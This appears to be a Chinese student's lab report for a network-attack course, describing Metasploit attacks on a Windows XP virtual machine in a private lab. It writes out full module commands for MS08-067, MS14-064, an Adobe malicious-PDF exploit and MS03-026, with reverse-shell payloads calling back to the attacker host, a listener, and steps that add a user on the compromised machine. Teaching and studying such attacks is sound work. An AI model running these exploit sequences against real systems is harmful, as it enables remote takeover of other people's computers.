2019-2020-2 20175327 《网络对抗技术》Exp6 MSF基础应用

一、实验目标

掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。

二、基础知识

1.实践要求

本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:

1.1一个主动攻击实践,如ms08_067; (1分):不唯一
1.2 一个针对浏览器的攻击,如ms11_050;(1分):唯一
1.3 一个针对客户端的攻击,如Adobe;(1分):不唯一
1.4 成功应用任何一个辅助模块。(0.5分):唯一

2.实验环境及IP

  • 攻击机(kali):192.168.80.128

  • 靶机:windows xp sp3 IP为:192.168.80.129

  • 尝试靶机ping攻击机,发现是可以ping通的

3.预备知识

(1)MS08-067

  • 漏洞描述
    MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。在Windows 2000、Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击,目前已经有利用该漏洞的蠕虫病毒。防火墙最佳做法和标准的默认防火墙配置,有助于保护网络资源免受从企业外部发起的攻击,默认情况下能建立空连接。
  • 攻击原理
    MS08_067漏洞攻击原理是攻击者利用受害者主机默认开放的SMB服务端口445,发送恶意资料到该端口,通过MSRPC接口调用Server服务的一个函数,并破坏程序的栈缓冲区,获得远程代码执行(Remote Code Execution)权限,从而完全控制主机。
  • 源码分析
    MS08_67漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中发生了栈缓冲区内存错误,造成可被利用实施远程代码执行。

(2)MS14-064

  • 漏洞描述
    Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术。成功利用这些漏洞的攻击者可以在当前用户的上下文中运行任意代码。如果当前用户使用管理用户权限登录,则攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。那些帐户被配置为拥有较少用户权限的用户比具有管理用户权限的用户受到的影响要小。 对于 Microsoft Windows 所有受支持的版本,此安全更新的等级为“严重”。
  • 漏洞原理
    远程攻击者利用此漏洞通过构造的网站执行任意代码,影响Win95+IE3 – Win10+IE11全版本...

(3)Adobe

  • 漏洞原理
    通过社会工程学探测到目标用户的邮箱,即时通信账户个人信息,净额以文档发送给用户,打开文档就会触发恶意漏洞。

(4)MS03_026

  • 漏洞描述
    此漏洞由lds-pl.net漏洞研究组在2003年7月16日发现,漏洞及exp在网上公开后,网上出现了大量的×××实例,利用此漏洞的蠕虫也大量出现。
  • 漏洞原理
    微软修改dcerpc框架后形成自己的RPC框架来处理进程间的通信。微软的RPC框架在处理TCP/IP信息交换过程中存在的畸形消息时,未正确处理,导致缓冲区溢出漏洞;此漏洞影响使用RPC框架的DCOM接口,DCOM接口用来处理客户端机器发送给服务器的DCOM对象激活请求,如UNC路径。

(5)MSF模块使用

1.msfconsole进入控制台
2.确定你要找的漏洞,然后输入search 漏洞名查找相应模块

3.info查看靶机适用范围

4.show payloads查看相关载荷
5.set payload generic/shell_reverse_tcp选择载荷
6.show options查看相关参数

7.进行参数配置

set RHOST 192.168.80.129//靶机IP
set LPORT 5327
set LHOST 192.168.80.128//攻击机IP
set target 0

8.利用辅助模块查看端口是否开启(默认端口为445,下图445端口没开,开端口操作具体见以下操作)

msfconsole//进入控制台
search portscan //搜索端口
use auxiliary/scanner/portscan/tcp //使用漏洞模块
set RHOSTS 192.168.80.129 //设置靶机地址
exploit //攻击

9.exploit侦听

无会话已创建,是xp版本问题,开始用的中文版,之后才换的英文版。

三、实验步骤

任务一:一个主动攻击实践MS08-067

靶机:Microsoft Windows xp(192.168.80.129)(192.168.80.131)
攻击机:kali(192.168.80.128)

使用 show payloads,查看能够使用的payloads
use exploit/windows/smb/ms08_067_netapi //选择攻击模块
set payload generic/shell_reverse_tcp //选择攻击载荷
set RHOST 192.168.80.129 //设置靶机IP,端口默认为445
set LPORT 5327
set LHOST 192.168.80.128 //设置攻方IP
set target 0 //自动识别
show options //查看配置信息
exploit



  • 于是开始攻击,但是不仅连接被拒绝而且session对象创建失败

  • 因为端口的问题,端口未打开(打开445端口)

    • 进入xp,开始->运行->输入regedit,打开注册表;
    • 找到如下分支:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters
    • 将此分支下的SMBDeviceEnabled键,设置为1,应用
  • 恢复了端口,连接成功但是session对象还是创建失败

  • 因为中文的Windows大多已经安装了补丁,于是要寻找英文版xp

  • 安装完成后再一次重复原来的步骤终于连接成功,回连成功后,使用ipconfig验证是否回连正确

  • dir指令查看payload所在目录下的文件,chdir指令查看payload的路径

  • 查看Win目前的用户,显示只有Administrator

  • 查看新建用户,设置用户名和密码,然后再次查看当前的用户,显示添加成功

  • 检查端口是否开启(同xp里一样)

任务二:一个针对浏览器的攻击MS14-064

靶机:Microsoft Windows XP(192.168.80.131)
攻击机:kali(192.168.80.128)

msfconsole
use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块
set payload windows/meterpreter/reverse_tcp 
set SRVHOST 192.168.80.128 //设置攻击机IP
set AllowPowerShellPrompt 1 //因为msf中自带的漏洞利用exp调用的是powershell,所以msf中的exp代码只对安装powershell的系统生效
set LHOST 192.168.80.128
set LPORT 5327
set target 0 //设置winXP靶机
show payloads //显示可用攻击载荷
exploit

  • 将生成的URL地址在winXP的IE浏览器中打开,发现成功建立了一个会话

  • 此时可以用ctrl+c退出当前状态,通过输入sessions -i 1获取第一个会话连接,并输入ipconfig验证是否为靶机地址

任务三:一个针对客户端的攻击Adobe

靶机:Microsoft Windows XP(192.168.80.131)
攻击机:kali(192.168.80.128) 后续中因为隔天变了IP

  • adobe里面有什么漏洞
msfconsole
use windows/fileformat/adobe_cooltype_sing //选择攻击模块
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.80.128 //攻击机 IP
set LPORT 5327 
set FILENAME fkn20175327.pdf //设置生成的pdf文件名
exploit //发起攻击


  • 生成fkn20175327.pdf,cp fkn20175327.pdf /home/kali/Desktop将生成的pdf复制到XP。
  • 控制台中输入back退出当前模块,输入以下命令进入监听模块:
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.80.128 //攻击机 IP
set LPORT 5327
exploit


  • 靶机中打开pdf文件,攻击成功
  • kali中发现回连成功,输入ipconfig确认是否回连正确,载荷非常稳定没有编码问题

任务四:成功应用任何一个辅助模块MS03_026(唯一)

靶机:Microsoft XP(192.168.59.128)
攻击机:kali(192.168.59.129)

msfconsole
use exploit/windows/dcerpc/ms03_026_dcom //选择攻击模块
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.59.129 //攻击机 IP
set LPORT 5327
set RPORT 5327
set RHOST 192.168.59.128 //XP
show target //查看适用范围
exploit


  • 运行(端口问题将靶机端口设置为默认445)

  • exloit成功,但没反应

在ms08_067中应用use auxiliary/scanner/portscan/tcp搜索靶机开放端口

  • search portscan # 搜索端口相关的漏洞
use auxiliary/scanner/portscan/tcp # 使用漏洞
show options #显示设置
set RHOST 192.168.59.128 //靶机
exploit

四、实践报告

1.实验中的问题

  • 端口问题开启445端口(详见上述MS08-067)

  • 解决

  • abode问题(也是因为没找对版本导致重下了好几次xp)

  • 解决

2.实验思考

(1)用自己的话解释什么是exploit,payload,encode。

  • exploit:攻击。我觉得就是对漏洞的攻击,也就是通过漏洞对靶机进行一些非授权操作。
  • payload:载荷。也就是一段shellcode攻击代码,在利用漏洞对靶机进行一系列操作的过程中,实质上进行执行shellcode代码。
  • encode:编码。查看了一下/usr/share/metasploit-framework/modules/encoders文件夹下的内容,我认为encode就是通过改变shellcode的编码格式来对攻击代码进行伪装,使其能正常运行并尽量免杀。
    (2)离实战还缺些什么技术或步骤?
  • 这些渗透攻击的方法大部分都是网上已有的教程,网络信息广为流传,我能看到,修复漏洞的产家也必定能看到,所以他们肯定会针对这些漏洞进行修补。我使用的都是一些比较老的漏洞利用,随着windows版本的更新,这些漏洞已经被渐渐修复了,实用价值已经越来越低了。

3.实验体会

本次实验相比之前不用下什么东西,也就节省了很多时间,也加深了我对MSF模块的理解,和漏洞的认识,首先就是查找相关漏洞名,然后根据漏洞名选取相应模块,在查看模块所需参数,进行相关参数配置,exploit就可以了,通过这次学习也让我对漏洞有了异于以往的认识!

posted @ 2020-04-27 16:19  20175327Fkn  阅读(309)  评论(1编辑  收藏  举报